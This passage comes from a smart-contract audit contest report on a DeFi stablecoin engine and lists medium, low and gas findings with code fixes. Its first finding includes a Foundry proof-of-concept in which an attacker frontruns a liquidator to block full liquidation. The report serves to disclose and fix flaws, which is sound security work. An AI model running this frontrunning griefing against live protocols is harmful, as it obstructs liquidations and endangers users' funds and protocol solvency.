https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L272-L280

Summary

Liquidators must specify precise amounts of DSC tokens to be burned during the liquidation process. Unfortunately, this opens up the possibility for malicious actors to prevent the full liquidation by frontrunning the liquidator's transaction and liquidating minimal amounts of DSC.

Vulnerability Details

Liquidations play a crucial role by maintaining collateralization above the desired ratio. If the value of the collateral drops, or if the user mints too much DSC tokens and breaches the minimum required ratio, the position becomes undercollateralized, posing a risk to the protocol. Liquidations help in enforcing these collateralization ratios, enabling DSC to maintain its value.

After detecting an unhealthy position, any liquidator can call the liquidate() function to burn the excess DSC tokens and receive part of the user's collateral as reward. To execute this function, the liquidator must specify the precise amount of DSC tokens to be burned. Due to this requirement, it becomes possible to block full liquidations (i.e liquidations corresponding to the user's entire minted amounts of DSC). This can be achieved by any address other than the one undergoing liquidation. This includes either a secondary address of the user being liquidated (attempting to protect their collateral), or any other malicious actor aiming to obstruct the protocol's re-collaterization. The necessity of using any address other than the one undergoing liquidation is due to the _revertIfHealthFactorIsBroken(msg.sender) at the end of the liquidate() function, therefore any other healthy address can be used to perform this attack.

This blocking mechanism operates by frontrunning the liquidator and triggering the liquidation of small amounts of DSC balance. Consequently, during the liquidator's transaction execution, it attempts to burn more tokens than the user has actually minted. This causes a revert due to an underflow issue, as illustrated in the code snippet below.

function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {
    s_DSCMinted[onBehalfOf] -= amountDscToBurn; //Undeflow will happen here
    bool success = i_dsc.transferFrom(dscFrom, address(this), amountDscToBurn);
    if (!success) {
        revert DSCEngine__TransferFailed();
    }
    i_dsc.burn(amountDscToBurn);
}

The exact values of DSC that the attacker has to burn to block the liquidation are dependent on the value of the user collateral and his total amount of DSC minted, but in general this values are going to be small, on the orders of thousands of wei of DSC. For example for a collateral total value of 10000USD, and 5500 worth of DSC minted, a frontrun liquidation of just 2000 wei of DSC would be enough to prevent the full liquidation.

Consider the example scenario below. Alice has minted 5500 worth of DSC, however her ETH deposited as collateral is worth 10000, therefore below the minimum 200% collateralization.

  1. Bob (the liquidator) sees Alice's position and decide to liquidate her full DSC position to restore the protocol health (by calling liquidate(address(WETH), address(alice), 5500000000000000000000)
  2. Alice see Bob's transaction on the mempool and tries to frontrunning it by calling liquidate(address(WETH), address(alice), 2000) using her secondary address. Consider that Alice is sucessfull in frontrunning Bob, therefore after Alice's tx, s_DSCMinted[address(Alice)] will be 5499999999999999998000.
  3. Now during Bob's transaction execution, liquidate will try to burn 5500000000000000000000 DSC tokens from Alice, but her s_DSCMinted[address(Alice)] is 5499999999999999998000, causing the call to revert due to arithmetic underflow.

See POC below for example:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import {DeployDSC} from "../../script/DeployDSC.s.sol";
import {DSCEngine} from "../../src/DSCEngine.sol";
import {DecentralizedStableCoin} from "../../src/DecentralizedStableCoin.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {MockV3Aggregator} from "../mocks/MockV3Aggregator.sol";
import {Test} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";

contract LiquidationPOC is Test {
    DSCEngine public dsce;
    DecentralizedStableCoin public dsc;
    HelperConfig public helperConfig;

    address public ethUsdPriceFeed;
    address public btcUsdPriceFeed;
    address public weth;
    address public wbtc;
    uint256 public deployerKey;

    uint256 public constant MIN_HEALTH_FACTOR = 1e18;
    address public alice = makeAddr("alice");
    address public bob = makeAddr("bob");
    address public attacker = makeAddr("attacker");

    function setUp() external {
        DeployDSC deployer = new DeployDSC();
        (dsc, dsce, helperConfig) = deployer.run();
        (ethUsdPriceFeed, btcUsdPriceFeed, weth, wbtc, deployerKey) = helperConfig.activeNetworkConfig();

        //Setting collateral USD prices
        MockV3Aggregator(ethUsdPriceFeed).updateAnswer(1100e8);

        //Mints and approvals for the Alice
        ERC20Mock(weth).mint(alice, 10 ether);
        vm.startPrank(alice);
        ERC20Mock(weth).approve(address(dsce), 10 ether);
        dsce.depositCollateralAndMintDsc(weth, 10 ether, 5500 ether);
        vm.stopPrank();

        //Mints and approvals for the Bob (liquidator)
        ERC20Mock(weth).mint(bob, 30 ether);
        vm.startPrank(bob);
        ERC20Mock(weth).approve(address(dsce), 30 ether);
        dsce.depositCollateralAndMintDsc(weth, 30 ether, 10000 ether);
        dsc.approve(address(dsce), 10000 ether);
        vm.stopPrank();

        //Mints and approvals for the attacker
        ERC20Mock(weth).mint(attacker, 10 ether);
        vm.startPrank(attacker);
        ERC20Mock(weth).approve(address(dsce), 10 ether);
        dsce.depositCollateralAndMintDsc(weth, 10 ether, 10 ether);
        dsc.approve(address(dsce), 10 ether);
        vm.stopPrank();

        //Reducing collateral USD price to put Alice in unhealthy state.
        MockV3Aggregator(ethUsdPriceFeed).updateAnswer(1000e8);
    }

    function testLiquidationDoS() public {
        (uint256 dscMinted, uint256 collateralUSD) = dsce.getAccountInformation(alice);
        assertEq(dscMinted, 5500*1e18);  //DSC worth $5500
        assertEq(collateralUSD, 10000*1e18); //Collateral worth $10000

        //1. Assert Alice position is unhealthy
        uint256 userHealthFactor = dsce.getHealthFactor(alice);
        assertEq(userHealthFactor < MIN_HEALTH_FACTOR, true); 

        //2. Attacker frontruns Bob's transaction and liquidates 2000wei of DSC
        vm.prank(attacker);
        dsce.liquidate(weth, alice, 2000); 

        //3. Bob's transaction reverts
        vm.expectRevert(stdError.arithmeticError); //Arithmetic over/underflow
        vm.prank(bob);
        dsce.liquidate(weth, alice, 5500*1e18);
    }
}

Impact

Full liquidations can be blocked. Therefore liquidators will have to resort to partial liquidations that are less efficient and can leave dust debt in the contract, threatening the heatlh of the protocol.

Tools Used

Manual Review

Recommendations

Consider allowing the liquidator to pass type(uint256).max as the debtToCover parameter, which will result to liquidating all DSC minted by the target account, regardless of the current balance. See the code below for an example implementation.

diff --git a/DSCEngine.orig.sol b/DSCEngine.sol
index e7d5c0d..6feef25 100644
--- a/DSCEngine.orig.sol
+++ b/DSCEngine.sol
@@ -227,36 +227,40 @@ contract DSCEngine is ReentrancyGuard {
      * Follows CEI: Checks, Effects, Interactions
      */
     function liquidate(address collateral, address user, uint256 debtToCover)
         external
         moreThanZero(debtToCover)
         nonReentrant
     {
         // need to check health factor of the user
         uint256 startingUserHealthFactor = _healthFactor(user);
         if (startingUserHealthFactor >= MIN_HEALTH_FACTOR) {
             revert DSCEngine__HealthFactorOk();
         }
         // We want to burn their DSC "debt"
         // And take their collateral
         // Bad User: $140 ETH, $100 DSC
         // debtToCover = $100
         // $100 of DSC == ??? ETH?
         // 0.05 ETH
+        if (debtToCover == type(uint256).max) {
+            (uint256 dscMinted,) = _getAccountInformation(user);
+            debtToCover = dscMinted;
+        }
         uint256 tokenAmountFromDebtCovered = getTokenAmountFromUsd(collateral, debtToCover);
         // And give them a 10% bonus
         // So we are giving the liquidator $110 of WETH for 100 DSC
         // We should implement a feature to liquidate in the event the protocol is insolvent
         // And sweep extra amounts into a treasury
         // 0.05 * 0.1 = 0.005. Getting 0.055
         uint256 bonusCollateral = (tokenAmountFromDebtCovered * LIQUIDATION_BONUS) / LIQUIDATION_PRECISION;
         uint256 totalCollateralToRedeem = tokenAmountFromDebtCovered + bonusCollateral;
         _redeemCollateral(user, msg.sender, collateral, totalCollateralToRedeem);
         // We need to burn the DSC
         _burnDsc(debtToCover, user, msg.sender);

         uint256 endingUserHealthFactor = _healthFactor(user);
         if (endingUserHealthFactor <= startingUserHealthFactor) {
             revert DSCEngine__HealthFactorNotImproved();
         }
         _revertIfHealthFactorIsBroken(msg.sender);
     }

Low Risk Findings

L-01. Improving the burnDsc() to allow users to mitigate their liquidation's impact

Submitted by nmirchev8, nisedo, StErMi, sobieski, iurii2002, 0x9527, Ericselvig, serialcoder, Tatakae, seraviz, Maroutis, Ankit. Selected submission by: serialcoder.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L214

Summary

The burnDsc() does not allow a user to partially burn some available DSC tokens to mitigate the liquidation's impact (if an amount of the burned tokens are not sufficient to improve their health factor to become healthy (> MIN_HEALTH_FACTOR)).

Vulnerability Details

In the situation that a user's health factor is unhealthy (< MIN_HEALTH_FACTOR), the user will not be able to partially burn some available of their minted DSC tokens to mitigate the liquidation's impact.

Specifically, the _revertIfHealthFactorIsBroken() in the burnDsc() will revert the transaction if the user's health factor is still unhealthy (even if the burning of the DSC tokens may improve the user's health factor).

    function burnDsc(uint256 amount) public moreThanZero(amount) {
        _burnDsc(amount, msg.sender, msg.sender);
@>      _revertIfHealthFactorIsBroken(msg.sender); // I don't think this would ever hit...
    }

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L214

Impact

The burnDsc() does not allow a user to partially burn some available DSC tokens to mitigate the liquidation's impact (if an amount of the burned tokens are not sufficient to improve their health factor to become healthy (> MIN_HEALTH_FACTOR)).

With this design choice, a user may face a big impact from the liquidation that cannot be mitigated.

Tools Used

Manual Review

Recommendations

Consider removing the _revertIfHealthFactorIsBroken() from the burnDsc() to enable a user to partially burn some available DSC tokens to mitigate their liquidation's impact.

    function burnDsc(uint256 amount) public moreThanZero(amount) {
        _burnDsc(amount, msg.sender, msg.sender);
-       _revertIfHealthFactorIsBroken(msg.sender); // I don't think this would ever hit...
    }

L-02. Zero address check for tokens

Submitted by 0xAadhi, Phantasmagoria, 0xSmartContract, seven, 0xlemon, JohnnyTime, 33audits, albertwhite, frankudoags, nmirchev8, hunterw3b, ABA, MTN, Bbash, Stoicov, Aarambh, pxng0lin, 0xMosh, SBSecurity, gss1, SMA4, alymurtazamemon, Maroutis, owade, tsar. Selected submission by: SBSecurity.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L112-L123

Summary

In the current implementation the token and price feed addresses aren’t checked for zero address upon initialization, there is a modifier which catch scenarios when price feed with zero address will be passed, but not for token addresses.

Vulnerability Details

When deploy the DSCEngine.sol, if pass token with address(0) and working price feed address, the deployment will be successful, but the user experience is going to fall when using the protocol, due to EVM Revert.

// Deploying the protocol localy with token address(0)

return NetworkConfig({
        wethUsdPriceFeed: address(ethUsdPriceFeed),
        wbtcUsdPriceFeed: address(btcUsdPriceFeed),
        weth: address(0),
        wbtc: address(wbtcMock),
        deployerKey: DEFAULT_ANVIL_KEY
    });
}

Impact

It will make freshly deployed DSCEngine unusable and the protocol deployer will have to redeploy everything.

Tools Used

Manual, Foundry

Recommendations

Add a check in the constructor

constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress) {
    // USD Price Feeds
    if (tokenAddresses.length != priceFeedAddresses.length) {
        revert DSCEngine__TokenAddressesAndPriceFeedAddressesMustBeSameLength();
    }
    // For example ETH / USD, BTC / USD, MKR / USD, etc
    for (uint256 i = 0; i < tokenAddresses.length; i++) {
    +   if (tokenAddresses[i] == address(0) || priceFeedAddresses[i] == address(0)) {
    +       revert DSCEngine__TokenAddressZero();
    +   }
        s_priceFeeds[tokenAddresses[i]] = priceFeedAddresses[i];
        s_collateralTokens.push(tokenAddresses[i]);
    }
    i_dsc = DecentralizedStableCoin(dscAddress);
}
function getTokenAmountFromUsd(address token, uint256 usdAmountInWei) public view returns (uint256) {
    // price of ETH (token)
    // $/ETH ETH ??
    // $2000 / ETH. $1000 = 0.5 ETH
+   if (token == address(0)) {
+       revert DSCEngine__NotAllowedToken();
+   }
    AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);
    (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();

    // ($10e3 * 1e18) / ($2000e8 * 1e10)
    return (usdAmountInWei * PRECISION) / (uint256(price) * ADDITIONAL_FEED_PRECISION);
}
function getUsdValue(address token, uint256 amount) public view returns (uint256) {
+   if (token == address(0)) {
+       revert DSCEngine__NotAllowedToken();
+   }

    AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);
    (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();
    // 1 ETH = $1000
    // The returned value from CL will be 1000 * 1e8
    return ((uint256(price) * ADDITIONAL_FEED_PRECISION) * amount) / PRECISION;
}

L-03. Lack of events for critical actions

Submitted by castleChain, ZanyBonzy, TeamFliBit, TheSchnilch, mau, seraviz, 0xsandy, FalconHoof, fouzantanveer. Selected submission by: 0xsandy.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L229

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L212

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L197

Summary

The functions mintDsc, burnDsc and liquidate do not emit any events.

Vulnerability Details

Event logs are crucial for off-chain services as they notify external users, such as a listening frontend website or client application, that something has happened on the blockchain.

Impact

External users and blockchain monitoring systems will not be able to easily detect these critical functions and their changes without events.

Tools Used

Manual Analysis

Recommendations

Add events where possible for critical operations.

L-04. Pragma isn't specified correctly which can lead to nonfunction/damaged contract when deployed on Arbitrum

Submitted by nisedo, 0xNiloy, JohnnyTime, mahdiRostami, Madalad, Bad, ZedBlockchain, 0xbug, ch0bu, 0xAadhi, 97Sabit, hunterw3b, sm4rty, InAllHonesty, ABA, larsson, tsvetanovv, Bauchibred, funkornaut, ChainSentry, lwltea, pina, 0xMosh, mgf15, alymurtazamemon, mau, ni8mare, xfu, alexzoid. Selected submission by: ni8mare.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L24

Summary

Pragma isn't specified correctly which can lead to a nonfunction/damaged contract when deployed on Arbitrum

Vulnerability Details

Pragma has been set to ^0.8.18 allowing the contracts to be compiled with version 0.8.20. The problem with this is that Arbitrum is NOT compatible with 0.8.20 and newer. Contracts compiled with those versions will result in a nonfunctional or potentially damaged version that won't behave as expected. The default behaviour of the compiler would be to use the newest version which would mean by default it will be compiled with the 0.8.20 version which will produce broken code.

For more info - https://docs.arbitrum.io/solidity-support

The foundry.toml file also does not specify which solidity version will be used. The project is meant to be forked and is meant to be deployed on any EVM-compatible chain. Hence, a specific version needs to be used.

Impact

Damaged or nonfunctional contracts when deployed on Arbitrum

Tools Used

Manual review

Recommendations

Constrain the pragma version:

pragma solidity >=0.8.0 <=0.8.19

L-05. Precision loss when calculating the health factor

Submitted by kutu, nisedo, KiteWeb3, jnrlouis, ShayanShamsi, 33audits, castleChain, ADM, charlesCheerful, t0x1c, alymurtazamemon, serialcoder, pontifex, klaus, 0xSCSamurai. Selected submission by: serialcoder.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L330

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L331

Summary

The calculation of the health factor in the _calculateHealthFactor() suffers from a rounding down issue, resulting in a small precision loss that can be improved.

Vulnerability Details

Division before multiplication can lead to rounding down issue since Solidity has no fixed-point numbers. Consider the calculation of the health factor in the _calculateHealthFactor(), the function does the division (by LIQUIDATION_PRECISION) before the multiplication (by 1e18). Hence, the computed result can suffer from the rounding down issue, resulting in a small precision loss.

    function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)
        internal
        pure
        returns (uint256)
    {
        if (totalDscMinted == 0) return type(uint256).max;
@>      uint256 collateralAdjustedForThreshold = (collateralValueInUsd * LIQUIDATION_THRESHOLD) / LIQUIDATION_PRECISION; //@audit Division (by LIQUIDATION_PRECISION) before multiplication
@>      return (collateralAdjustedForThreshold * 1e18) / totalDscMinted; //@audit Multiplication (by 1e18) after division
    }

Impact

The computed result of the _calculateHealthFactor() can suffer from the rounding down issue. However, the impact can be considerably low since the denominator, LIQUIDATION_PRECISION, is a constant of 100. Anyway, there can be a way to improve the calculation for better precision loss (see the Recommendations section).

Tools Used

Manual Review

Recommendations

I recommend improving the affected formula by taking multiplications before divisions to prevent truncation, as shown below.

    function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)
        internal
        pure
        returns (uint256)
    {
        if (totalDscMinted == 0) return type(uint256).max;
-       uint256 collateralAdjustedForThreshold = (collateralValueInUsd * LIQUIDATION_THRESHOLD) / LIQUIDATION_PRECISION;
-       return (collateralAdjustedForThreshold * 1e18) / totalDscMinted;

+       return (collateralValueInUsd * LIQUIDATION_THRESHOLD * 1e18) / (LIQUIDATION_PRECISION * totalDscMinted);
    }

L-06. Unbounded Loops Found in DSCEngine.sol can lead to DoS of liquidations

Submitted by aviggiano, 0xdeadbeef. Selected submission by: aviggiano.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L353

Summary

The contract DSCEngine.sol contains unbounded loops over the s_collateralTokens array, which is used in critical parts of the system, such as when checking the health factor of a user, which is used on liquidations. In some cases, such as with ERC777 tokens, a significant amount of gas can be consumed by a transaction such that it reverts due to block size limits, impacting the overall health of the system.

Vulnerability Details

In DSCEngine.sol:350, the function getAccountCollateralValue loops through each collateral token, retrieves the deposited amount and maps it to the price to calculate the USD value. However, the iteration limit of this loop is dependent on the length of s_collateralTokens, which is not bound. This leads to a situation where the function could iterate through a large enough number of tokens, making the function susceptible to attacks that exploit high gas fees.

If this is paired with tokens that contain callbacks or hooks, such as ERC777 tokens, the liquidated user can construct a contract such that it consumes too much gas on the tokensToSend (or analogous) hook, which would lead to DoS of the liquidation process.

Impact

The unbounded-loop issue can lead to DoS if the number of collateral tokens is too high or if the liquidated account is able to manipulate the transaction gas.

Tools Used

Manual Review

Recommendations

Consider implementing a mechanism to bound the loop by either limiting the number of s_collateralTokens that can be added.

L-07. Missing Division By 0 Check

Submitted by vic43.

Summary

The DSCEngine contract defines the getTokenAmountFromUsd function, which implement a division. however, the division by 0 check is missing, which will cause an error if encountered.

Vulnerability Details

the division by zero may happen if the price provided by the pricefeed is 0;

Impact

the division will cause a runtime exception, and the transaction that triggered the division by zero will be reverted.-> transaction will fail & any changes made to the state of the contract during the transaction will be rolled back.

Tools Used

Manual Review

Recommendations

It is recommended to implement a validation mechanism, which will make sure that division by 0 scenarios are handled properly.

  • Consider adding a second price feed oracle.

Gas Optimizations / Informationals

G-01. using x=x+y /x=x-y is more gas efficient than x+=y / x-=y

Submitted by 0xSafeGuard, mahdiRostami, souilos, castleChain, 0x0115, 0xNiloy, Bbash, Qiezie, TheSavageTeddy, 0xbugalba, SAQ, 0xadarsh, owade. Selected submission by: castleChain.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L356

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L155

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L198

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L273

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L285

details

using x=x+y /x=x-y is more gas efficient than x+=y / x-=y

totalCollateralValueInUsd += getUsdValue(token, amount);

Recommendations

use x=x-y and x=x+y

totalCollateralValueInUsd = totalCollateralValueInUsd + getUsdValue(token, amount);

G-02. Remove unused variables in OracleLib

Submitted by SBSecurity.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/libraries/OracleLib.sol#L21-L33

Summary

Currently OracleLib.staleCheckLatestRoundData() returns 4 variables (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) which are returned from latestRoundData()

In the current implementation, only answer variable is used. By removing all the unused properties in both library and at the places where library method is used we will save roughly 400 gas.

Instances

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/libraries/OracleLib.sol#L21-L33

Tools Used

Manual

Recommendations

Updated OracleLib

library OracleLib 

function staleCheckLatestRoundData(AggregatorV3Interface priceFeed)
    public
    view
    - returns (uint80, int256, uint256, uint256, uint80)
	+ returns (int256)
{
    - (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) =
        priceFeed.latestRoundData();
	+ (, int256 answer,, uint256 updatedAt,) = priceFeed.latestRoundData();

    uint256 secondsSince = block.timestamp - updatedAt;
    if (secondsSince > TIMEOUT) revert OracleLib__StalePrice();

    - return (roundId, answer, startedAt, updatedAt, answeredInRound);
	+ return (answer);
}
contract DSCEngine

function getUsdValue(address token, uint256 amount) public view returns (uint256) {
    AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);
	- (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();
    + int256 price = priceFeed.staleCheckLatestRoundData();
    // 1 ETH = $1000
    // The returned value from CL will be 1000 * 1e8е
    return ((uint256(price) * ADDITIONAL_FEED_PRECISION) * amount) / PRECISION;
}
contract DSCEngine

function getTokenAmountFromUsd(address token, uint256 usdAmountInWei) public view returns (uint256) {
    // price of ETH (token)
    // $/ETH ETH ??
    // $2000 / ETH. $1000 = 0.5 ETH
    AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);
    - (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();
	+ int256 price = priceFeed.staleCheckLatestRoundData();
    // ($10e18 * 1e18) / ($2000e8 * 1e10)
    return (usdAmountInWei * PRECISION) / (uint256(price) * ADDITIONAL_FEED_PRECISION);
}

G-03. Use constants instead of type(uint256).max

Submitted by SBSecurity, SAQ. Selected submission by: SBSecurity.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L329

Summary

At the places where type(uint256).max is used it can be replaced with constant variable with the same value as this from the expression, it will save gas because constant variables are stored in the contract byte code.

Each of the recommendations below saves 24 gas (Tested in remix)

Instances

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L329

Tools Used

Manual

Recommendations

uint private constant MAX_UINT256_NUMBER = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
uint private constant MAX_UINT256_HEX = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
uint private constant MAX_UINT256_EXPONENTIATION = 2**256 - 1;

G-04. Double checks

Submitted by BAHOZ, Polaristow, sobieski, Cosine, 0x0115, ABA, jnrlouis, BenRai, Stoicov, devival, lwltea, warRoom, 0xsandy, pontifex. Selected submission by: pontifex.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L51

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L58

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L61

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L48

There are four checks in DecentralizedStableCoin contract which already exists in another parts of the project. These two checks are already in the inherited ERC20Burnable contract:

51:        if (balance < _amount) {

58:        if (_to == address(0)) {

These two checks are already in the moreThanZero modifier of the DSCEngine contract:

48:        if (_amount <= 0) {

61:        if (_amount <= 0) {

G-05. DSCEngine should deploy its own DecentralizedStableCoin

Submitted by warRoom, 0xDanielH, cuthalion0x. Selected submission by: cuthalion0x.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L122

Summary

DSCEngine should deploy its own DecentralizedStableCoin instead of accepting an address upon construction.

Vulnerability Details

There is a perfect 1:1 correspondence between DSCEngine and DecentralizedStableCoin:

  • DSCEngine tracks a single, immutable i_dsc address.
  • DecentralizedStableCoin has a single owner with the power to mint() and burn() tokens.

Therefore, it is needless to deploy the DecentralizedStableCoin prior to deployment of a DSCEngine and only serves to add extra steps to the process, including migration of the owner.

Impact

Unnecessary gas/deployment UX burden.

Tools Used

Manual review.

Recommendations

Consider changing the DSCEngine constructor like this:

-         i_dsc = DecentralizedStableCoin(dscAddress);
+         i_dsc = new DecentralizedStableCoin();

G-06. burn() and staleCheckLatestRoundData() and getTimeout() can be external

Submitted by RoboCrypter, nisedo, ZanyBonzy, TeamFliBit. Selected submission by: nisedo.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L46

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/libraries/OracleLib.sol#L21-L25

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/libraries/OracleLib.sol#L35-L38

Summary

burn() can be external to save gas.

Vulnerability Details

burn() in DecentralizedStableCoin.sol and staleCheckLatestRoundData() and getTimeout() in OracleLib.sol aren't called inside the contract and thus can be set to external.

Impact

Useless gas consumption.

Tools Used

Manual review

Recommendations

Set the functions to external to save gas.

G-07. Replace OZ's library with Solmate to save gas

Submitted by LaScaloneta.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DecentralizedStableCoin.sol#L26-L27

Summary

Solmate's ERC20 and Ownable implementations are more optimized than OZ's version. In order to save gas is recommended to switch such implementations from OZ to Solmate in DecentralizedStableCoin.sol

Impact

testRevertsIfMintFails() (gas: -60 (-0.003%)) testRevertsIfTransferFromFails() (gas: -60 (-0.003%)) testHealthFactorCanGoBelowOne() (gas: -19 (-0.007%)) testRevertsWithUnapprovedCollateral() (gas: -60 (-0.008%)) testProperlyReportsHealthFactor() (gas: -19 (-0.009%)) testRevertsIfRedeemAmountIsZero() (gas: -19 (-0.009%)) testCanDepositCollateralWithoutMinting() (gas: -17 (-0.019%)) testCanMintDsc() (gas: -40 (-0.020%)) testCanMintWithDepositedCollateral() (gas: -40 (-0.020%)) testRevertsIfTokenLengthDoesntMatchPriceFeeds() (gas: -54 (-0.030%)) testRevertsIfBurnAmountIsZero() (gas: -79 (-0.039%)) testRevertsIfMintAmountIsZero() (gas: -79 (-0.039%)) testCantLiquidateGoodHealthFactor() (gas: -144 (-0.041%)) testCantBurnMoreThanYouHave() (gas: -32 (-0.053%)) testMustBurnMoreThanZero() (gas: -32 (-0.053%)) testCantMintToZeroAddress() (gas: -7 (-0.056%)) testMustMintMoreThanZero() (gas: -7 (-0.058%)) testRevertsIfCollateralZero() (gas: -60 (-0.138%)) testRevertsIfMintedDscBreaksHealthFactor() (gas: -490 (-0.295%)) testRevertsIfMintAmountBreaksHealthFactor() (gas: -496 (-0.298%)) testUserStillHasSomeEthAfterLiquidation() (gas: -1821 (-0.365%)) testLiquidationPayoutIsCorrect() (gas: -1821 (-0.376%)) testLiquidatorTakesOnUsersDebt() (gas: -1821 (-0.377%)) testUserHasNoMoreDebt() (gas: -1821 (-0.377%)) testCanRedeemDepositedCollateral() (gas: -1823 (-0.724%)) testMustRedeemMoreThanZero() (gas: -1806 (-0.762%)) testCanBurnDsc() (gas: -1823 (-0.768%)) Overall gas change: -14550 (-0.096%)

Tools Used

Manual Review

Recommendations

Switch ERC20Burnable.sol to ERC20 from solmate. Switch Ownable.sol to Owned.sol from solmate

G-08. Use == instead for <= for uints when comparing for zero values

Submitted by BAHOZ, shivam21, ShayanShamsi, jnrlouis, nisedo, n4thedev, n1punp, LaScaloneta, Cosine, ZedBlockchain, JohnnyTime, jigster, 0x0115, Bbash, Bauchibred, devival, neocrao, Ericselvig, karanctf, seraviz, nervouspika, SolSaver, 0xScourgedev. Selected submission by: Ericselvig.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L48

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L61

Summary

Using == 0 is cheaper than <= 0 for uints
There are 2 instances of this issue:

File: src/DecentralizedStableCoin.sol

48:  if (_amount <= 0) {

61:  if (_amount <= 0) {

G-09. # _burnDsc function on DSCEngine can be simplified

Submitted by LaScaloneta.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L274-L279

Summary

